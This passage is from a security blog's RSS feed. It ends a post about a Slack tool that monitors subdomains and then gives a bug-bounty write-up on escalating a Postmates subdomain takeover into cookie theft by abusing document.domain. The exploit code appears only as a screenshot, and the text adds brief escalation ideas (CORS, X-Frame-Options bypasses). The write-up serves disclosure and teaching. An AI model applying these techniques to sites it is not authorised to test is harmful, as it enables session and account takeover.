&lt;li style=&quot;text-align: left;&quot;&gt;Now, for every command you create, in the &quot;Edit Command&quot; dialogue, enter the request URL as https://{your-domain-name}&lt;your-domain&gt;/{command-name}&lt;command-name&gt;. That is, for the &quot;/add-domain&quot; command, your request URL will be https://recon.takemyhand.xyz/add-domain, as shown:&lt;a href=&quot;http://1.bp.blogspot.com/-lOvdQfwtV1o/XqP-olN1f7I/AAAAAAAAA90/SucYPBoNms4eQT9K83K8T2FAJh3sr_S3ACK4BGAYYCw/s1600/Screenshot%2B2020-04-25%2Bat%2B2.40.47%2BPM.png&quot; imageanchor=&quot;1&quot; style=&quot;text-align: center;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;480&quot; src=&quot;https://1.bp.blogspot.com/-lOvdQfwtV1o/XqP-olN1f7I/AAAAAAAAA90/SucYPBoNms4eQT9K83K8T2FAJh3sr_S3ACK4BGAYYCw/s640/Screenshot%2B2020-04-25%2Bat%2B2.40.47%2BPM.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/command-name&gt;&lt;/your-domain&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;div&gt;
That's it! Once this app is installed in your workspace, you can now use it to monitor subdomain additions in realtime! Simply run `&lt;b&gt;python listener.py&lt;/b&gt;` and you can now run the app. Here is the list of commands that you can use in your workspace, with what every one of them does:&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;&lt;b&gt;/add-domain&amp;nbsp;{domain-name}&lt;/b&gt;:&amp;nbsp;&lt;b&gt;&amp;nbsp;&lt;/b&gt;add a domain to monitor, eg. paypal.com, postmates.com etc.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;/list-domains&lt;/b&gt;: list of domains you have added to monitor&lt;/li&gt;
&lt;li&gt;&lt;b&gt;/remove-domains&amp;nbsp;{domain-name}&lt;/b&gt;: remove a domain from the list&lt;/li&gt;
&lt;li&gt;&lt;b&gt;/add-dirscan {subdomain-name}&lt;/b&gt;: add a (sub)domain to monitor for file additions&lt;/li&gt;
&lt;li&gt;&lt;b&gt;/list-dirscan&lt;/b&gt;: list domains added for directory scanning&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
Currently, the &lt;span style=&quot;font-family: inherit;&quot;&gt;subdomain&lt;/span&gt; additions are updated in realtime; however, the directory scanning is done at a specific time every day. You can change this time by changing the last line of the &lt;b&gt;schedule&lt;/b&gt; class instance in the last line of the &lt;b&gt;dirapi.py&lt;/b&gt; file. eg. you can change it to&amp;nbsp;&lt;span style=&quot;background-color: white;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;menlo&amp;quot; , &amp;quot;monaco&amp;quot; , &amp;quot;courier new&amp;quot; , monospace; font-size: 12px; font-weight: bold; white-space: pre;&quot;&gt;schedule.every(30).minutes&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;menlo&amp;quot; , &amp;quot;monaco&amp;quot; , &amp;quot;courier new&amp;quot; , monospace; font-size: 12px; font-weight: bold; white-space: pre;&quot;&gt;.do(&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;menlo&amp;quot; , &amp;quot;monaco&amp;quot; , &amp;quot;courier new&amp;quot; , monospace; font-size: 12px; font-weight: bold; white-space: pre;&quot;&gt;self&lt;/span&gt;&lt;span style=&quot;font-size: 12px; white-space: pre;&quot;&gt;&lt;b style=&quot;font-family: Menlo, Monaco, &amp;quot;Courier New&amp;quot;, monospace;&quot;&gt;.compareResults) &lt;/b&gt;&lt;/span&gt;&lt;/span&gt;to monitor directory additions every 30 minutes. You can also add your own custom wordlist by changing the wordlist file in the dirsearch directory.&lt;br /&gt;
&lt;br /&gt;
Feel free to point out any mistakes that I may have made in the code, or if you have problems with the installation / running of the application.&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;&amp;lt;/div&amp;gt;&lt;/p&gt;
</description>
        <pubDate>Sat, 25 Apr 2020 12:59:00 +0000</pubDate>
        <link>//2020/04/introducing-slacker-monitoring</link>
        <guid isPermaLink="true">//2020/04/introducing-slacker-monitoring</guid>
        
        
      </item>
    
      <item>
        <title>Escalating subdomain takeovers to steal cookies by abusing document.domain</title>
        <description>&lt;div id=&quot;html&quot;&gt;
&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;br /&gt;
&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;span style=&quot;font-size: x-large;&quot;&gt;H&lt;/span&gt;i everyone,&lt;br /&gt;
&lt;br /&gt;
It's been a really long time since I've blogged about anything. Mainly because I got a job as security analyst- therefore I've been very busy. And I also got into Synack!&lt;br /&gt;
&lt;br /&gt;
This blog post focuses on one of my recent findings, how I was able to escalate an out of scope subdomain takeover to steal the session cookies. And how I also thought of a few more methods to escalate it, affecting the main domain.&lt;br /&gt;
&lt;br /&gt;
Before I get started with the bug, I would like to talk a little about same-origin policy. If 2 websites want to communicate with each other, or perhaps if 2 hosts want to &lt;i&gt;interact&lt;/i&gt; with each other, there could be mainly 2 ways to go around this. The book &quot;Tangled Web&quot; (a great book, do read it) states the following:&lt;br /&gt;
&lt;br /&gt;
&lt;i&gt;&quot;&lt;span style=&quot;font-family: &amp;quot;newbaskerville&amp;quot;;&quot;&gt;Attempts to broaden origins or facilitate cross-domain interactions are more common. The two broadly sup- ported ways of achieving these goals are&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;newbaskerville&amp;quot;;&quot;&gt;document.domain&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;newbaskerville&amp;quot;;&quot;&gt;and&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;newbaskerville&amp;quot;;&quot;&gt;postMessage(...)&quot;&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;
&lt;h2 style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif; font-size: x-large;&quot;&gt;DOCUMENT.DOMAIN&lt;/span&gt;&lt;/h2&gt;
&lt;div class=&quot;page&quot; title=&quot;Page 165&quot;&gt;
&lt;div class=&quot;layoutArea&quot;&gt;
&lt;div class=&quot;column&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;newbaskerville&amp;quot;;&quot;&gt;This JavaScript property permits any two cooperating websites that share a common top-level domain (such as&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;newbaskerville&amp;quot;; font-style: italic;&quot;&gt;example.com&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;newbaskerville&amp;quot;;&quot;&gt;, or even just&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;newbaskerville&amp;quot;; font-style: italic;&quot;&gt;.com&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;newbaskerville&amp;quot;;&quot;&gt;) to agree that for the purpose of future same-origin checks, they want to be considered equivalent.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: &amp;quot;newbaskerville&amp;quot;;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;font-family: &amp;quot;newbaskerville&amp;quot;;&quot;&gt;So basically, if &lt;b&gt;login.example.com&lt;/b&gt; and &lt;b&gt;www.example.com &lt;/b&gt;both &lt;b&gt;explicitly&lt;/b&gt;&amp;nbsp;set their document.domain to example.com, this will lax the same-origin policy checks thereafter.&lt;/span&gt;&lt;br /&gt;
&lt;h2 style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif; font-size: x-large;&quot;&gt;Exploitation&lt;/span&gt;&lt;/h2&gt;
&lt;span style=&quot;font-family: &amp;quot;newbaskerville&amp;quot;;&quot;&gt;I was hunting on the Postmates bug bounty program from H1. Now this program has a limited scope. I came across an [[in-scope]] endpoint like the following:&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;b&gt;https://raster-static.postmates.com/?url=&lt;redacted&gt;&lt;/redacted&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
Now this endpoint was only was only accepting image links coming from subdomains of postmates.com. I thought, if somehow I can find a subdomain takeover, maybe I can find an SSRF or perhaps serve my own malicious content to the victim. So I went ahead and fired up some subdomain discovery tools and started sifting through them. I found one subdomain, &lt;b&gt;impact.postmates.com&lt;/b&gt;, which was prone to a Github subdomain takeover. I went ahead and added the custom domain name to my test repo and the subdomain was mine.&lt;br /&gt;
&lt;br /&gt;
However, I couldn't have access to any backend, so an SSRF was impossible in this case. The max I could do was serve random JPEG's. Bummer.&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-family: &amp;quot;newbaskerville&amp;quot;;&quot;&gt;After a lot of time of thinking, something struck my mind. The main domain for users in Postmates is, &lt;b&gt;postmates.com&lt;/b&gt;.&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: &amp;quot;newbaskerville&amp;quot;;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;font-family: &amp;quot;newbaskerville&amp;quot;;&quot;&gt;Now, &quot;Tangled Web&quot; also states:&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: &amp;quot;newbaskerville&amp;quot;;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;i&gt;&lt;span style=&quot;font-family: &amp;quot;newbaskerville&amp;quot;;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;newbaskerville&amp;quot;;&quot;&gt;Simply because l&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;newbaskerville&amp;quot;;&quot;&gt;ogin.example.com&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;newbaskerville&amp;quot;;&quot;&gt;has set its&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;newbaskerville&amp;quot;;&quot;&gt;document.domain&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;newbaskerville&amp;quot;;&quot;&gt;to&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;newbaskerville&amp;quot;;&quot;&gt;example.com&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;newbaskerville&amp;quot;;&quot;&gt;does not mean that it will be allowed to access content originating from the website hosted at&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;newbaskerville&amp;quot;;&quot;&gt;http://example.com/&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;newbaskerville&amp;quot;;&quot;&gt;. That website needs to perform such an assignment, too, even if common sense would indicate that it is a no-op.&quot;&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;&lt;span style=&quot;font-family: &amp;quot;newbaskerville&amp;quot;;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/i&gt;
&lt;span style=&quot;font-family: &amp;quot;newbaskerville&amp;quot;;&quot;&gt;So,&amp;nbsp;&lt;/span&gt;&lt;i style=&quot;font-family: NewBaskerville;&quot;&gt;if and only if, &lt;/i&gt;&lt;span style=&quot;font-family: &amp;quot;newbaskerville&amp;quot;;&quot;&gt;&lt;b&gt;postmates.com &lt;/b&gt;has explicitly set it's document.domain, maybe I could set &lt;b&gt;impact.postmates.com&lt;/b&gt;'s document.domain to &lt;b&gt;postmates.com &lt;/b&gt;and access it's cookies somehow?&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: &amp;quot;newbaskerville&amp;quot;;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;font-family: &amp;quot;newbaskerville&amp;quot;;&quot;&gt;&lt;b&gt;Precursor: &lt;/b&gt;&lt;i&gt;a.xyz.com&lt;/i&gt; can &lt;b&gt;NOT&lt;/b&gt;&amp;nbsp;set it's document.domain to &lt;i&gt;a.a.xyz.com &lt;/i&gt;or &lt;i&gt;b.xyz.com&lt;/i&gt;, but it &lt;b&gt;CAN&lt;/b&gt;&amp;nbsp;set it's document.domain to &lt;i&gt;xyz.com&lt;/i&gt;. An example of changing the values of blog.takemyhand.xyz to other settings:&lt;/span&gt;&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://3.bp.blogspot.com/-PNeYO9Suq4s/XOePXQxSYOI/AAAAAAAAAw4/GCJgL1_8L1sRBU14gasWUDPiAkzglZk9wCLcBGAs/s1600/Screenshot%2B2019-05-24%2Bat%2B11.33.38%2BAM.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;130&quot; data-original-width=&quot;371&quot; height=&quot;112&quot; src=&quot;https://3.bp.blogspot.com/-PNeYO9Suq4s/XOePXQxSYOI/AAAAAAAAAw4/GCJgL1_8L1sRBU14gasWUDPiAkzglZk9wCLcBGAs/s320/Screenshot%2B2019-05-24%2Bat%2B11.33.38%2BAM.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
That being said, I went ahead to check if &lt;b&gt;postmates.com &lt;/b&gt;had explicitly set their document.domain. They had!&amp;nbsp;&lt;span style=&quot;font-family: &amp;quot;newbaskerville&amp;quot;;&quot;&gt;Now, you have to keep in mind, that this attack worked only because the main domain of the program was&amp;nbsp;&lt;/span&gt;&lt;b style=&quot;font-family: NewBaskerville;&quot;&gt;postmates.com&lt;/b&gt;&lt;span style=&quot;font-family: &amp;quot;newbaskerville&amp;quot;;&quot;&gt;&amp;nbsp;(that is, document.domain = &lt;b&gt;postmates.com&lt;/b&gt;) and not something like&amp;nbsp;&lt;/span&gt;&lt;b style=&quot;font-family: NewBaskerville;&quot;&gt;www.postmates.com (&lt;/b&gt;&lt;span style=&quot;font-family: &amp;quot;newbaskerville&amp;quot;;&quot;&gt;document.domain possibly set to &lt;b&gt;www.postmates.com&lt;/b&gt;, because then I could not set the document.domain of &lt;b&gt;impact.postmates.com&lt;/b&gt; to &lt;b&gt;www.postmates.com&lt;/b&gt;).&amp;nbsp;&lt;/span&gt;So now all I had to do was, using JS, set the document.domain to &lt;b&gt;postmates.com&lt;/b&gt;, and add the following code in my javascript to steal the cookies from the main account:&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://1.bp.blogspot.com/-5CFndUHNFD0/XOebNI4kwTI/AAAAAAAAAxQ/6negb6GpcCY7nUH5GZhBXduZPp_ljpHyQCLcBGAs/s1600/Screenshot%2B2019-05-24%2Bat%2B12.50.05%2BPM.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;283&quot; data-original-width=&quot;523&quot; height=&quot;173&quot; src=&quot;https://1.bp.blogspot.com/-5CFndUHNFD0/XOebNI4kwTI/AAAAAAAAAxQ/6negb6GpcCY7nUH5GZhBXduZPp_ljpHyQCLcBGAs/s320/Screenshot%2B2019-05-24%2Bat%2B12.50.05%2BPM.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;span style=&quot;font-family: &amp;quot;newbaskerville&amp;quot;;&quot;&gt;That's it, I could alert the cookies of &lt;b&gt;postmates.com &lt;/b&gt;now, and possibly perform an account takeover, since I had complete access to the DOM of the main website.&lt;/span&gt;&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://1.bp.blogspot.com/-sppyIP2Y0_s/XOerQr8kWDI/AAAAAAAAAxo/TY-bT06xWuU2994R6vjQLyoGbK8NST3SgCLcBGAs/s1600/Screenshot_2019-05-19_at_10.48.38_PM.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;809&quot; data-original-width=&quot;1213&quot; height=&quot;266&quot; src=&quot;https://1.bp.blogspot.com/-sppyIP2Y0_s/XOerQr8kWDI/AAAAAAAAAxo/TY-bT06xWuU2994R6vjQLyoGbK8NST3SgCLcBGAs/s400/Screenshot_2019-05-19_at_10.48.38_PM.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
While working on this, I even thought of a few other creative ways to escalate an subdomain takeover to increase it's impact:&lt;br /&gt;
&lt;br /&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;Bypassing X-Frame-Options : SAMEORIGIN&lt;/li&gt;
&lt;li&gt;Bypassing CORS validation where the Access-Control-Allow-Origin is set to *.example.com (* being any subdomain)&lt;/li&gt;
&lt;li&gt;Bypassing URL validation wherever applicable (eg. open redirects to steal OAuth login tokens etc.&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Regards,&lt;/div&gt;
&lt;div&gt;
t4kemyh4nd&lt;/div&gt;
&lt;br /&gt;
&lt;i&gt;&lt;span style=&quot;font-family: &amp;quot;newbaskerville&amp;quot;;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/i&gt;
&lt;i&gt;&lt;span style=&quot;font-family: &amp;quot;newbaskerville&amp;quot;;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
</description>
        <pubDate>Fri, 24 May 2019 06:44:00 +0000</pubDate>
        <link>//2019/05/escalating-subdomain-takeovers-to-steal</link>
        <guid isPermaLink="true">//2019/05/escalating-subdomain-takeovers-to-steal</guid>
        
        
      </item>
    
  </channel>
</rss>
